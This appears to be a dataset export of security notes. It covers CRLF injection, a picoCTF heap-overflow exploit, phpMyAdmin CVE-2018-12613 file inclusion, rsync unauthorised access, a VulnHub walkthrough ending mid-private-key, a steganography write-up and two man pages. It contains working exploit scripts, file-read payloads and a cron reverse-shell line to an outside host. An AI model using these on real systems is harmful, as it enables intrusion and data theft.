text
stringlengths
100
9.93M
category
stringclasses
11 values
# CRLF注入 ```java package com.example.controller; import org.springframework.http.HttpHeaders; import org.springframework.http.HttpStatus; import org.springframework.http.ResponseEntity; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.RestController; @RestController public class UserController { @RequestMapping(value = "/crlf") public ResponseEntity<String> example(@RequestParam("name") String name) { String message = "Hello, " + name; HttpHeaders headers = new HttpHeaders(); headers.set("Location", "https://example.com"); headers.set("test",name); return new ResponseEntity<>(message, headers, HttpStatus.OK); } } ``` ```sh GET /crlf?name=%0d%0aSet-Cookie:%20sessionid=123456 HTTP/1.1 Host: 127.0.0.1:8080 Content-Type: application/x-www-form-urlencoded Content-Length: 0 ``` ![image-20230314161742162](../../.gitbook/assets/image-20230314161742162.png) 修复代码 ```java package com.example.controller; import org.springframework.http.HttpHeaders; import org.springframework.http.HttpStatus; import org.springframework.http.ResponseEntity; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.RestController; import org.springframework.web.util.UriUtils; import java.nio.charset.StandardCharsets; @RestController public class UserController { @RequestMapping(value = "/crlf") public ResponseEntity<String> example(@RequestParam("name") String name) { String encodedName = UriUtils.encode(name, StandardCharsets.UTF_8); String message = "Hello, " + encodedName; HttpHeaders headers = new HttpHeaders(); headers.set("Location", "https://example.com"); headers.set("test",encodedName); return new ResponseEntity<>(message, headers, HttpStatus.OK); } } ``` ![image-20230314161849070](../../.gitbook/assets/image-20230314161849070.png)
sec-knowleage
# Heap overflow Binary Exploitation, 450 points ## Description: > Just pwn this using a heap overflow taking advantage of douglas malloc free program and get a flag. ```c #include <stdlib.h> #include <stdio.h> #include <string.h> #define FLAGSIZE 128 void win() { char buf[FLAGSIZE]; FILE *f = fopen("flag.txt","r"); fgets(buf,FLAGSIZE,f); fprintf(stdout,"%s\n",buf); fflush(stdout); } int main(int argc, char *argv[]) { char *fullname, *name, *lastname; fullname = malloc(666); name = malloc(66); lastname = malloc(66); printf("Oops! a new developer copy pasted and printed an address as a decimal...\n"); printf("%d\n",fullname); printf("Input fullname\n"); gets(fullname); printf("Input lastname\n"); gets(lastname); free(fullname); puts("That is all...\n"); free(name); free(lastname); exit(0); } ``` Hints: * https://www.win.tue.nl/~aeb/linux/hh/hh-11.html ## Solution: This is an artificial example taken from [Secure Coding in C and C++](https://www.amazon.com/Secure-Coding-2nd-Software-Engineering/dp/0321822137). A complete analysis of the example exists in the book (section 4.6, Doug Lea's Memory Allocator, a.k.a. `dlmalloc`), and this writeup is inspired by it. The vulnerability here is a classic *heap overflow*, caused by an unbound read to a heap buffer: `gets(fullname)`. Using this vulnerability, it is possible to write a DWORD to an arbitrary memory location. In order to understand how this is done, we need to understand the `dlmalloc` heap. In this heap implementation, the heap is divided into chunks. When a user calls `malloc`, the heap manager allocates a chunk and returns it to the user. However, the address that `malloc` returns isn't the beginning of the chunk - there is some metadata before it. This is how a heap chunk looks like when it is allocated: ``` +------------------------+---+ | Size of chunk | P | Pointer returned by malloc --> +------------------------+---+ | User Data | | | | | | | | | +----------------------------+ ``` The size of the chunk is saved in the DWORD before the address which is returned to the user, or in 31 bits of that DWORD, to be precise. Since chunk sizes are always a multiple of 2, the least significant bit (marked as `P` for `PREV_INUSE`) is used to indicates whether the previous chunk is in use or not. When this chunk is freed by the user, it is inserted into a "bin" which holds multiple free chunks with similar attributes (e.g. a bin for small chunks, medium chunks, large chunks). Each bin is implemented as a doubly linked list. As a free chunk, the chunk structure changes: ``` +------------------------+---+ | Size of chunk | P | Pointer returned by malloc --> +------------------------+---+ | Forward Pointer | +----------------------------+ | Back Pointer | +----------------------------+ | Unused | | | +----------------------------+ | Size of chunk | +----------------------------+ ``` Instead of the first two DWORDs of the user data, forward and back pointers related to the appropriate bin's doubly linked list are saved. The forward pointer points to the next free chunk in the bin, and the back pointer points to the previous free chunk in the bin (not to be confused with the previous chunk which `PREV_INUSE` refers to - that's just the chunk who happens to be adjacent to this one in memory). Here's an illustration of the different states of the chunk, side by size: ``` Allocated Free +------------------------+---+ +------------------------+---+ | Size of chunk | P | | Size of chunk | P | Pointer returned by malloc --> +------------------------+---+ +------------------------+---+ | User Data | | Forward Pointer | + + +----------------------------+ | | | Back Pointer | + + +----------------------------+ | | | Unused | | | | | + + +----------------------------+ | | | Size of chunk | +----------------------------+ +----------------------------+ ``` Now, memory is freed via `free`, the heap manager also tries to consolidate adjacent in order to create a single large chunk and avoid memory fragmentation. This means that if the chunk located before the current chunk is free, the heap manager will merge both of them together. Then, if the chunk located after the current chunk is free, the heap manager will merge them too. In case the current chunk is merged with an adjacent chunk, the adjacent chunk needs to be removed from the bin it was in. The code that's used to remove a chunk from its bin is implemented as a macro called `unlink`: ```c #define unlink(P, BK, FD) { \ FD = P->fd; \ BK = P->bk; \ FD->bk = BK; \ BK->fd = FD; \ } ``` This is pretty standard code for removing an element from a doubly-linked list. What happens when there's a buffer overflow on the heap? In this case, the attacker is able to overwrite some metadata from the next chunk. When the current chunk is freed, the malicious metadata will be used to trick the heap manager into performing unintended actions. Let's walk through the attack with our example. The program allocates three buffers: ```c fullname = malloc(666); name = malloc(66); lastname = malloc(66); ``` Here's how the heap looks like after the allocations are done: ``` ---------------+------------------------+---+ | 672 | P | firstname --> +------------------------+---+ --+ | User Data | | + + | | | | + + | 666 bytes | | | | | | + + | | | --+ ---------------+------------------------+---+ | 72 | 1 | name -------> +------------------------+---+ --+ | User Data | | + + | | | | + + | 66 bytes | | | | | | + + | | | --+ ---------------+------------------------+---+ | 72 | 1 | lastname ---> +------------------------+---+ --+ | User Data | | + + | | | | + + | 66 bytes | | | | | | + + | | | --+ ---------------+----------------------------+ ``` The sizes are a result of taking the size that the user requested, adding 4 for the size DWORD itself and rounding up to the next multiple of 8 bytes. The payload we'll be sending as input for `gets(fullname)` will be as follows: ```python shell_code = asm('jmp l1; nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop; l1: push {}; ret;'.format(hex(exe.symbols["win"]))) payload = shell_code + ('B' * (664-len(shell_code))) + p32(100, sign = "signed") + p32(-4, sign = "signed") + p32(exe.got["puts"] - 12) + p32(address) ``` This will cause the heap to look as follows: ``` ---------------+------------------------+---+ | 672 | P | firstname --> +------------------------+---+ --+ | shellcode + filler | | + + | | | | + + | 666 bytes | | | | | | +----------------------------+ | | 100 | 0 | --+ ---------------+------------------------+---+ | -4 | 0 | name -------> +------------------------+---+ --+ | exe.got["puts"] - 12 | | +----------------------------+ | | address of firstname | | +----------------------------+ | 66 bytes | | | | | | + + | | | --+ ---------------+------------------------+---+ | 72 | 1 | lastname ---> +------------------------+---+ --+ | User Data | | + + | | | | + + | 66 bytes | | | | | | + + | | | --+ ---------------+----------------------------+ ``` Now, `free` is called on `firstname`. The heap manager wants to check if the chunk following `firstname` is in use. If it isn't, they will both be merged. So, the heap manager goes one DWORD backwards, and reads the size of the current chunk (672). It then jumps over the current chunk (chunk #1) to arrive to the metadata DWORD of the next chunk (chunk #2): ``` +------------------------+---+ | -4 | 0 | +------------------------+---+ ``` The heap manager needs to know if this chunk (chunk #2) is in use. It therefore must **jump over** this chunk (chunk #2) and arrive to **the chunk after it** (chunk #3). Remember that the `PREV_INUSE` bit of our current location refers to chunk #1, and the information about chunk #2 is located in the chunk after it, chunk #3. So, the heap manager takes the address of chunk #2, adds the size of the chunk (-4 due to our attack) and jumps to that location: ``` +----------------------------+ | 100 | 0 | +------------------------+---+ ``` The size in the chunk doesn't really matter, what matters is that the malicious payload made sure that the number is even, i.e. `PREV_INUSE` = 0. (Sometimes it is recommended to send `-4` as well, since this number is even, has no NULL bytes and is interpreted as a large unsigned int which ensures that no `fastbin`-related logic will be involved). The fact that `PREV_INUSE` = 0 means that the heap manager can merge both chunks safely. As a result, chunk #2 needs to be removed from its current bin. `unlink` is called on chunk #2. Let's see how it behaves: ```c FD = P->fd; // FD points to (exe.got["puts"] - 12), since that's the value we overran the buffer with BK = P->bk; // BK points to (address of firstname), since that's the value we overran the buffer with FD->bk = BK; // (exe.got["puts"] - 12) + 12 = (address of firstname); We wrote an arbitrary DWORD to an arbitrary location BK->fd = FD; // (address of firstname) + 8 = (exe.got["puts"] - 12); Side effect ``` The `unlink` macro allowed us to overwrite the .got.plt address of `puts` with the address of our shellcode. Notice that as a side-effect, some of the shellcode was overwritten. That's the reason the shellcode needs to be built as a "trampoline": ```python shell_code = asm('jmp l1; nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop; l1: push {}; ret;'.format(hex(exe.symbols["win"]))) ``` The first few bytes don't get overwritten, and they allow us to jump over the `nop` area, which will be destroyed, straight to the real shellcode which in our case just calls `win`. Now, when `puts` gets called, our shellcode is executed and we get the flag. ```python # First, generate a pwntools template using: # pwn template --host 2019shell1.picoctf.com --user dvdalt --path /problems/heap-overflow_2_de0f6daa62288c9b3afb950888dc7166/vuln #=========================================================== # EXPLOIT GOES HERE #=========================================================== # Arch: i386-32-little # RELRO: Partial RELRO # Stack: Canary found # NX: NX disabled # PIE: No PIE (0x8048000) # RWX: Has RWX segments import os if shell is not None: shell.set_working_directory(os.path.dirname(remote_path)) io = start() io.recvuntil("Oops! a new developer copy pasted and printed an address as a decimal...\n") address = int(io.recvline()) log.info("Address of fullname: {}".format(hex(address))) log.info("Address of win(): {}".format(hex(exe.symbols["win"]))) shellcode = asm('jmp l1; nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop; l1: push {}; ret;'.format(hex(exe.symbols["win"]))) log.info("shellcode:\n{}".format(hexdump(shellcode))) payload = shellcode + ('B' * (664-len(shellcode))) + p32(100, sign = "signed") + p32(-4, sign = "signed") + p32(exe.got["puts"] - 12) + p32(address) log.info("payload:\n{}".format(hexdump(payload))) io.sendlineafter("Input fullname", payload) io.sendlineafter("Input lastname", "a") print io.recvall() ``` Output: ```console root@kali:/media/sf_CTFs/pico/Heap_overflow# python exploit.py [*] '/media/sf_CTFs/pico/Heap_overflow/vuln' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments [+] Connecting to 2019shell1.picoctf.com on port 22: Done [*] dvdalt@2019shell1.picoctf.com: Distro Ubuntu 18.04 OS: linux Arch: amd64 Version: 4.15.0 ASLR: Enabled [+] Opening new channel: 'pwd': Done [+] Receiving all data: Done (13B) [*] Closed SSH channel with 2019shell1.picoctf.com [*] Working directory: '/tmp/tmp.79dCV2wlSk' [+] Opening new channel: 'ln -s /home/dvdalt/* .': Done [+] Receiving all data: Done (0B) [*] Closed SSH channel with 2019shell1.picoctf.com [*] Working directory: '/problems/heap-overflow_2_de0f6daa62288c9b3afb950888dc7166' [+] Starting remote process '/problems/heap-overflow_2_de0f6daa62288c9b3afb950888dc7166/vuln' on 2019shell1.picoctf.com: pid 3532938 [*] Address of fullname: 0x99e9008 [*] Address of win(): 0x8048936 [*] shellcode: 00000000 eb 0c 90 90 90 90 90 90 90 90 90 90 90 90 68 36 │····│····│····│··h6│ 00000010 89 04 08 c3 │····││ 00000014 [*] payload: 00000000 eb 0c 90 90 90 90 90 90 90 90 90 90 90 90 68 36 │····│····│····│··h6│ 00000010 89 04 08 c3 42 42 42 42 42 42 42 42 42 42 42 42 │····│BBBB│BBBB│BBBB│ 00000020 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 │BBBB│BBBB│BBBB│BBBB│ * 00000290 42 42 42 42 42 42 42 42 64 00 00 00 fc ff ff ff │BBBB│BBBB│d···│····│ 000002a0 1c d0 04 08 08 90 9e 09 │····│····││ 000002a8 [+] Receiving all data: Done (33B) [*] Stopped remote process 'vuln' on 2019shell1.picoctf.com (pid 3532938) picoCTF{a_s1mpl3_h3ap_5e4b54d4} ```
sec-knowleage
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5. .\"******************************************************************* .\" .\" This file was generated with po4a. Translate the source file. .\" .\"******************************************************************* .TH TEE 1 2022年9月 "GNU coreutils 9.1" 用户命令 .SH 名称 tee \- 从标准输入读入并写往标准输出和文件 .SH 概述 \fBtee\fP [\fI\,选项\/\fP]... [\fI\,文件列表\/\fP]... .SH 描述 .\" Add any additional description here .PP 把标准输入的数据复制到文件列表中的每一个文件,同时送往标准输出。 .TP \fB\-a\fP, \fB\-\-append\fP 追加到给出的文件,而不是覆盖 .TP \fB\-i\fP, \fB\-\-ignore\-interrupts\fP 忽略中断信号 .TP \fB\-p\fP 对写入非管道的行为排查错误 .TP \fB\-\-output\-error\fP[=\fI\,模式\/\fP] 设置写入出错时的行为。见下面“模式”部分 .TP \fB\-\-help\fP 显示此帮助信息并退出 .TP \fB\-\-version\fP 显示版本信息并退出 .SS 模式确定向输出写入出错时的行为: .TP warn 对向任何文件输出出错的情况进行诊断 .TP warn\-nopipe 对向除了管道以外的任何文件输出出错的情况进行诊断 .TP exit 一旦输出出错,则退出程序 .TP exit\-nopipe 一旦输出出错且非管道,则退出程序 .PP \fB\-p\fP 选项的默认模式是“warn\-nopipe”。当 \fB\-\-output\-error\fP 没有给出时,默认的操作是在向管道写入出错时立刻退出,且在向非管道写入出错时对问题进行诊断。 .SH 作者 由 Mike Parker, Richard M. Stallman 和 David MacKenzie 编写。 .SH 报告错误 GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/> .br 请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。 .SH 版权 Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>. .br 本软件是自由软件:您可以自由修改和重新发布它。在法律允许的范围内,不提供任何保证。 .SH 参见 完整文档请见: <https://www.gnu.org/software/coreutils/tee> .br 或者在本地使用: info \(aq(coreutils) tee invocation\(aq
sec-knowleage
## Steganography 1 (Stegano, 100p) Find image files in the file ![](MrFusion.gpjb) Please input flag like this format-->SECCON{*** ** **** ****} ###PL [ENG](#eng-version) Dostajemy plik o rozszerzeniu .gpjb. Polecenie `file` rozpoznaje go jako gif: ![](out.0.gif) Ale po otworzeniu tego pliku w hexedytorze okazuje się że plik ten składa się w rzeczywistości z dużej liczby obrazów sklejonych w jeden. Domyślamy się że "gpjb" pochodzi od rozszerzeń .gif, .png, .jpg oraz .bmp. Piszemy na szybko skrypt w pythonie który dzieli te pliki na fragmenty (szukając odpowiednich headerów formatów): ```python import re data = open('MrFusion.gpjb', 'rb').read() def findndx(str, data): return [m.start() for m in re.finditer(str, data)] ext = { '.gif': 'GIF89a', '.png': '\x89PNG', '.bmp': 'BM', '.jpg': '\xFF\xD8\xFF\xE0' } for ext, pat in ext.iteritems(): for n in findndx(pat, data): open('out.' + str(n) + ext, 'wb').write(data[n:]) ``` Następnie uruchamiamy go i otrzymujemy sporo obrazów, z których każdy odpowiada jednemu znakowi: ![](folder.png) Po przepisaniu: SECCON{OCT2120150728} Z powodu błedu w zadaniu flaga nie przechodziła sprawdzenia, więc do opisu zadania doszła informacja o wymaganym formacie flagi, więc ostateczna flaga: SECCON{OCT 21 2015 0728} ### ENG version We are given a file with .gpjb extension. `File` command recognises it as a gif: ![](out.0.gif) But after checking the file in hexeditor it turns out that the file is composed of large number of concantenated images. We guess that "gpjb" extension stands for gif, png, jpg and bmp file formats. We have written quick and dirty script to split file into fragments (according to format headers): ```python import re data = open('MrFusion.gpjb', 'rb').read() def findndx(str, data): return [m.start() for m in re.finditer(str, data)] ext = { '.gif': 'GIF89a', '.png': '\x89PNG', '.bmp': 'BM', '.jpg': '\xFF\xD8\xFF\xE0' } for ext, pat in ext.iteritems(): for n in findndx(pat, data): open('out.' + str(n) + ext, 'wb').write(data[n:]) ``` After execution, script generated a lot of images, each of which represented single flag character: ![](folder.png) After rewrite: SECCON{OCT2120150728} But because of bug in challenge checker, flag was not accepted by server. After that, description of challenge was changed, and final, accepted flag is: SECCON{OCT 21 2015 0728}
sec-knowleage
.\" Copyright (c) 1998 Andries Brouwer .\" .\" This is free documentation; you can redistribute it and/or .\" modify it under the terms of the GNU General Public License as .\" published by the Free Software Foundation; either version 2 of .\" the License, or (at your option) any later version. .\" .\" The GNU General Public License's references to "object code" .\" and "executables" are to be interpreted as the output of any .\" document formatting or typesetting system, including .\" intermediate and printed output. .\" .\" This manual is distributed in the hope that it will be useful, .\" but WITHOUT ANY WARRANTY; without even the implied warranty of .\" MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the .\" GNU General Public License for more details. .\" .\" You should have received a copy of the GNU General Public .\" License along with this manual; if not, write to the Free .\" Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111, .\" USA. .\" .TH GLOB 7 "12 June 1998" "Unix" "Linux Programmer's Manual" .SH NAME glob \- 形成路径名称 .SH "描述 (DESCRIPTION)" 很久以前 在 UNIX V6 版 中 有一个 程序 .I /etc/glob 用来 展开 通配符模板. 不久以后 它 成为 shell 内建功能. 现在 人们 开发了 类似的 库函数 .BR glob (3), 让 用户程序 实现 同样的 功能. 此 规则 遵循 (POSIX 1003.2, 3.13). .SH "通配符匹配 (WILDCARD MATCHING)" 包含 '?', '*' 或 '[' 字符的 字符串 称为 通配符模板(wildcard pattern). 形成路径名(globbing) 指 一种 操作, 把 通配符模板 展开为 匹配 该串的 路径名. 匹配 定义为: 不在 方括弧中 的 '?' 匹配 任意 单个 字符. 不在 方括弧中 的 '*' 匹配 任意 字符串, 包括 空串. .SS "字符集 (Character classes)" 对于 表达式 `[...]', 如果 在 第一个 '['符 后面 出现的 第一个 字符 不是 '!', 则 该 表达式 匹配 任意 一个 在 `[...]'内 出现的 字符. 方括弧内 不能 有 空串, 因此 ']' 可以 作为 第一个 字符 出现在 方括弧内. (像 这样, '[][!]' 匹配 下列 三个 字符 中的 任意 一个, '[', ']' 和 '!'.) .SS "范围集 (Ranges)" 字符集 有一个 特例: 用 '-' 分开的 两个 字符 表示 一个 范围集. (像 这样, `[A-Fa-f0-9]' 等于 `[ABCDEFabcdef0123456789]'.) 把 '-' 放到 方括弧内 的 开头 或 最后 可以 获得 它的 本意. (像 这样, `[]-]' 匹配 ']'和'-' 中 任意 一个. 而 `[--/]' 匹配 `-', `.' 和`/'中 任意 一个.) .SS "补集 (Complementation)" 表达式 '[!...]' 表示 一个 字符, 该 字符 不匹配 方括弧内 去掉 开头 '!' 后 的 表达式. (像 这样, `[!]a-]' 匹配 除了 ']', 'a' 和 '-' 的 任意 一个 字符.) 要 去掉 '?', '*' 和 '[' 的 特殊 含义, 可以 通过 前面 加 一个 反斜杠; 或者 在 shell 命令行 中, 通过 引号 来 引用 这些 字符. 在 方括弧内 这些 字符 显露出 本意, 所以, '[[?*\e]' 匹配 这 四个字符 中 的 一个: '[', '?', '*', '\e'. .SH "路径名 (PATHNAME)" 形成路径名 功能 应用于 路径 中 的 每一个 成员部分. 路径 中 的 '/' 不能 被 通配符 '?' 或 '*', 或 范围集 如 '[.-0]' 匹配. 范围集 不能 直接 包含 '/', 否则 导致 语法错误. 如果 待匹配的 文件名 以'.'开头, 那么 这个 '.' 字符 必须 直接 给出. (比如说, \'rm *' 不会 删除 '.profile' 文件, 'tar c *' 不会 打包 你的 所有 文件; 用 'tar c .' 会 更好.) .SH "空列表 (EMPTY LISTS)" 上述的 简单优雅 规则, 把 通配符模板 展开为 匹配的 路径名, 来源于 最初的 UNIX 定义. 它 允许 展开出 空串, 例如 .br .nf xv -wait 0 *.gif *.jpg .fi 这里 可能 没有 *.gif 文件 (而且 不算 错误). 然而, POSIX 要求 句法 错误 或 路径名 列表 为 空 时, 保留 通配符模板 不变. (译注: 即 不展开.) 在 .I bash 中 可以 通过 设置 .IR allow_null_glob_expansion=true 把 它 强置为 传统的 风格. (其他 地方 也有 类似的 问题, 例如, 老式的 语句 是 .br .nf rm `find . -name "*~"` .fi 新的 写法 为 .br .nf rm -f nosuchfile `find . -name "*~"` .fi 以 避免 由于 空参数调用 .I rm 而 产生 错误信息.) .SH "注意 (NOTES)" .SS "正规表达式 (Regular expressions)" 注意, 通配符模板 不是 正规表达式, 尽管 它们 有点象. 首先, 它 匹配 文件名, 而 不是 正文; 其次, 规则 不一样, 例如 正规表达式 里 的 '*' 代表 零个或多个 前面内容的 重复. 正规表达式 的 方括弧表达式 用 '^' 引导 取反操作, (而不是 '[!...]'). POSIX 声明, 在 通配符模板 中, '[^...]' 未做 定义. .SS "字符集 和 国际化 (Character classes and Internationalization )" 当然, 范围集 最初 指 ASCII的 范围, 因此 '[ -%]' 意思是 '[ !"#$%]','[a-z]' 指所有小写字符. 一些 UNIX实现 把 这个 归纳为: 范围 X-Y 指 X的编码 到 Y的编码 之间的 编码字符. 可是, 这 要求 用户 知道 他们 本地系统的 字符编码, 此外, 如果 本地的 字母表顺序 和 字符集顺序 不对应, 那 就 更不方便了. 因此, POSIX 对 通配符模板 和 正规表达式 的 方括弧表达法 作了 重大扩展, 上面 我们 知道了 方括弧表达式 中 的 三个 类型, 它们是 (i) 取补集 (ii) 直接列出的 单个字符 和 (iii) 范围集. POSIX 对 范围集 在 国际化 方面 作了 更有力的 说明, 并且 增加了 三个 类型: (iii) 范围 X-Y 由 X 和 Y 之间 所有的字符 组成 (包括X和Y), X 和 Y 的 当前编码序列 由 当前场合的 LC_COLLATE 分类定义. (iv) 命名字符集, 象 .br .nf [:alnum:] [:alpha:] [:blank:] [:cntrl:] [:digit:] [:graph:] [:lower:] [:print:] [:punct:] [:space:] [:upper:] [:xdigit:] .fi 因此 可以 用 '[[:lower:]]' 代替 '[a-z]', 它 在 丹麦语 里 同样 有效, 虽然 丹麦的 字母表 里 'z' 后面 还有 三个 字母. 这些 字符集 由 当前场合的 LC_CTYPE 分类定义. (v) 符号对映, 象 '[.ch.]' 或 '[.a-acute.]', 在 '[.' 和 '.]' 之间的 字符串 是 定义 在 当前场合的 对映元素. 注意 这 可以 是 多字符元素. (vi) 等类表达式, 象 '[=a=]', 在 '[=' 和 '=]' 之间的 字符串 是 任意 等类 中 的 对映元素, 它 定义在 当前场合. 例如, '[[=a=]]' 可以 等同于 `[a徉溻]' (警告: 这里 有 Latin-1 字符), 也就是 `[a[.a-acute.][.a-grave.][.a-umlaut.][.a-circumflex.]]'. .SH "SEE ALSO" .BR sh (1), .BR glob (3), .BR fnmatch (3), .BR locale (7), .BR regex (7) .SH "[中文版维护人]" .B 徐明 <xuming@iname.com> .SH "[中文版最新更新]" .BR 2000/10/15 第一版 .br .BR 2001/11/17 第一次修订 .SH "《中国Linux论坛man手册页翻译计划》" .BI http://cmpp.linuxforum.net
sec-knowleage
# phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613) phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。其index.php中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成远程文件包含漏洞。 参考文档: - https://mp.weixin.qq.com/s/HZcS2HdUtqz10jUEN57aog - https://www.phpmyadmin.net/security/PMASA-2018-4/ ## 漏洞环境 执行如下命令,启动phpmyadmin 4.8.1: ``` docker compose up -d ``` 环境启动后,访问`http://your-ip:8080`,即可进入phpmyadmin。配置的是“config”模式,所以无需输入密码,直接登录test账户。 ## 漏洞复现 访问`http://your-ip:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd`,可见`/etc/passwd`被读取,说明文件包含漏洞存在: ![](1.png) 利用方式也比较简单,可以执行一下`SELECT '<?=phpinfo()?>';`,然后查看自己的sessionid(cookie中phpMyAdmin的值),然后包含session文件即可: ![](2.png)
sec-knowleage
# Rsync未授权访问漏洞 ## 漏洞描述 `Rsync`是`Linux`下一款数据备份工具,支持通过`rsync`协议、`ssh`协议进行远程文件传输。常被用于在内网进行源代码的分发及同步更新,因此使用人群多为开发人员。其中`rsync`协议默认监听`873`端口,而一般开发人员安全意识薄弱的情况下,如果目标开启了`rsync`服务,并且没有配置`ACL`或访问密码,我们将可以读写目标服务器文件。 ## 环境搭建 rsyncd.conf ``` uid = root gid = root use chroot = no max connections = 4 syslog facility = local5 pid file = /var/run/rsyncd.pid log file = /var/log/rsyncd.log [src] path = / comment = src path read only = no ``` 启动rsync ``` rsync --no-detach --daemon --config /etc/rsyncd.conf ``` ## 漏洞利用 环境启动后,我们用rsync命令访问之: ``` [root@localhost tmp]# rsync rsync://192.168.32.183:873/ src src path ``` 查看`src`目录 ``` [root@localhost tmp]# rsync rsync://192.168.32.183:873/ src src path You have new mail in /var/spool/mail/root [root@localhost tmp]# rsync rsync://192.168.32.183:873/src drwxr-xr-x 28 2022/07/26 03:45:11 . -rwxr-xr-x 0 2022/07/26 03:45:11 .dockerenv -rwxr-xr-x 101 2022/05/19 09:45:03 docker-entrypoint.sh drwxr-xr-x 6 2018/01/21 13:42:04 bin drwxr-xr-x 6 2017/07/13 09:01:05 boot drwxr-xr-x 6 2022/07/26 03:45:11 data drwxr-xr-x 340 2022/07/26 03:45:11 dev drwxr-xr-x 66 2022/07/26 03:45:11 etc drwxr-xr-x 6 2017/07/13 09:01:05 home drwxr-xr-x 21 2018/01/21 13:42:05 lib drwxr-xr-x 34 2017/10/08 20:00:00 lib64 drwxr-xr-x 6 2017/10/08 20:00:00 media drwxr-xr-x 6 2017/10/08 20:00:00 mnt drwxr-xr-x 6 2017/10/08 20:00:00 opt dr-xr-xr-x 0 2022/07/26 03:45:11 proc drwx------ 37 2017/10/08 20:00:00 root drwxr-xr-x 80 2022/07/26 03:48:12 run drwxr-xr-x 4,096 2017/10/08 20:00:00 sbin drwxr-xr-x 6 2017/10/08 20:00:00 srv dr-xr-xr-x 0 2022/07/25 22:41:55 sys drwxrwxrwt 6 2022/07/26 03:44:41 tmp drwxr-xr-x 42 2017/10/08 20:00:00 usr drwxr-xr-x 17 2017/10/08 20:00:00 var ``` 这是一个Linux根目录,我们可以下载任意文件: ``` [root@localhost tmp]# rsync -av rsync://192.168.32.183:873/src/etc/passwd ./ receiving incremental file list passwd sent 43 bytes received 1,283 bytes 2,652.00 bytes/sec total size is 1,197 speedup is 0.90 ``` 或者写入定时计划: ``` echo '* * * * * bash -i >& /dev/tcp/192.168.32.130/9999 0>&1' >> shell ``` ``` [root@localhost tmp]# rsync -av shell rsync://192.168.32.183:873/src/etc/cron.d/root sending incremental file list shell sent 146 bytes received 35 bytes 362.00 bytes/sec total size is 55 speedup is 0.30 ``` ![image-20230129215525053](../../.gitbook/assets/image-20230129215525053.png)
sec-knowleage
# Infosec Prep OSCP Box > https://download.vulnhub.com/infosecprep/oscp.zip 靶场IP: ![image-20220720104840709](../../.gitbook/assets/image-20220720104840709.png) 扫描对外端口 ``` ┌──(root💀kali)-[/tmp] └─# nmap -p 1-65535 192.168.32.177 Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-19 22:48 EDT Nmap scan report for 192.168.32.177 Host is up (0.00071s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 33060/tcp open mysqlx MAC Address: 00:0C:29:B6:A2:40 (VMware) Nmap done: 1 IP address (1 host up) scanned in 9.05 seconds ``` 浏览器访问80端口 ![image-20220720104945504](../../.gitbook/assets/image-20220720104945504.png) 扫描目录,找到`robots.txt` ![image-20220720105139282](../../.gitbook/assets/image-20220720105139282.png) ![image-20220720105203058](../../.gitbook/assets/image-20220720105203058.png) 找到一串base64加密字符串 ![image-20220720105232306](../../.gitbook/assets/image-20220720105232306.png) 解密是私钥文件 ``` ┌──(root💀kali)-[/tmp] └─# curl http://192.168.32.177/secret.txt | base64 -d % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 3502 100 3502 0 0 2554k 0 --:--:-- --:--:-- --:--:-- 3419k -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn NhAAAAAwEAAQAAAYEAtHCsSzHtUF8K8tiOqECQYLrKKrCRsbvq6iIG7R9g0WPv9w+gkUWe IzBScvglLE9flolsKdxfMQQbMVGqSADnYBTavaigQekue0bLsYk/rZ5FhOURZLTvdlJWxz bIeyC5a5F0Dl9UYmzChe43z0Do0iQw178GJUQaqscLmEatqIiT/2FkF+AveW3hqPfbrw9v A9QAIUA3ledqr8XEzY//Lq0+sQg/pUu0KPkY18i6vnfiYHGkyW1SgryPh5x9BGTk3eRYcN w6mDbAjXKKCHGM+dnnGNgvAkqT+gZWz/Mpy0ekauk6NP7NCzORNrIXAYFa1rWzaEtypHwY kCEcfWJJlZ7+fcEFa5B7gEwt/aKdFRXPQwinFliQMYMmau8PZbPiBIrxtIYXy3MHcKBIsJ 0HSKv+HbKW9kpTL5OoAkB8fHF30ujVOb6YTuc1sJKWRHIZY3qe08I2RXeExFFYu9oLug0d tHYdJHFL7cWiNv4mRyJ9RcrhVL1V3CazNZKKwraRAAAFgH9JQL1/SUC9AAAAB3NzaC1yc2 EAAAGBALRwrEsx7VBfCvLYjqhAkGC6yiqwkbG76uoiBu0fYNFj7/cPoJFFniMwUnL4JSxP X5aJbCncXzEEGzFRqkgA52AU2r2ooEHpLntGy7GJP62eRYTlEWS073ZSVsc2yHsguWuRdA 5fVGJswoXuN89A6NIkMNe/BiVEGqrHC5hGraiIk/9hZBfgL3lt4aj3268PbwPUACFAN5Xn aq/FxM2P/y6tPrEIP6VLtCj5GNfIur534mBxpMltUoK8j4ecfQRk5N3kWHDcOpg2wI1yig hxjPnZ5xjYLwJKk/oGVs/zKctHpGrpOjT+zQszkTayFwGBWta1s2hLcqR8GJAhHH1iSZWe /n3BBWuQe4BMLf2inRUVz0MIpxZYkDGDJmrvD2Wz4gSK8bSGF8tzB3CgSLCdB0ir/h2ylv 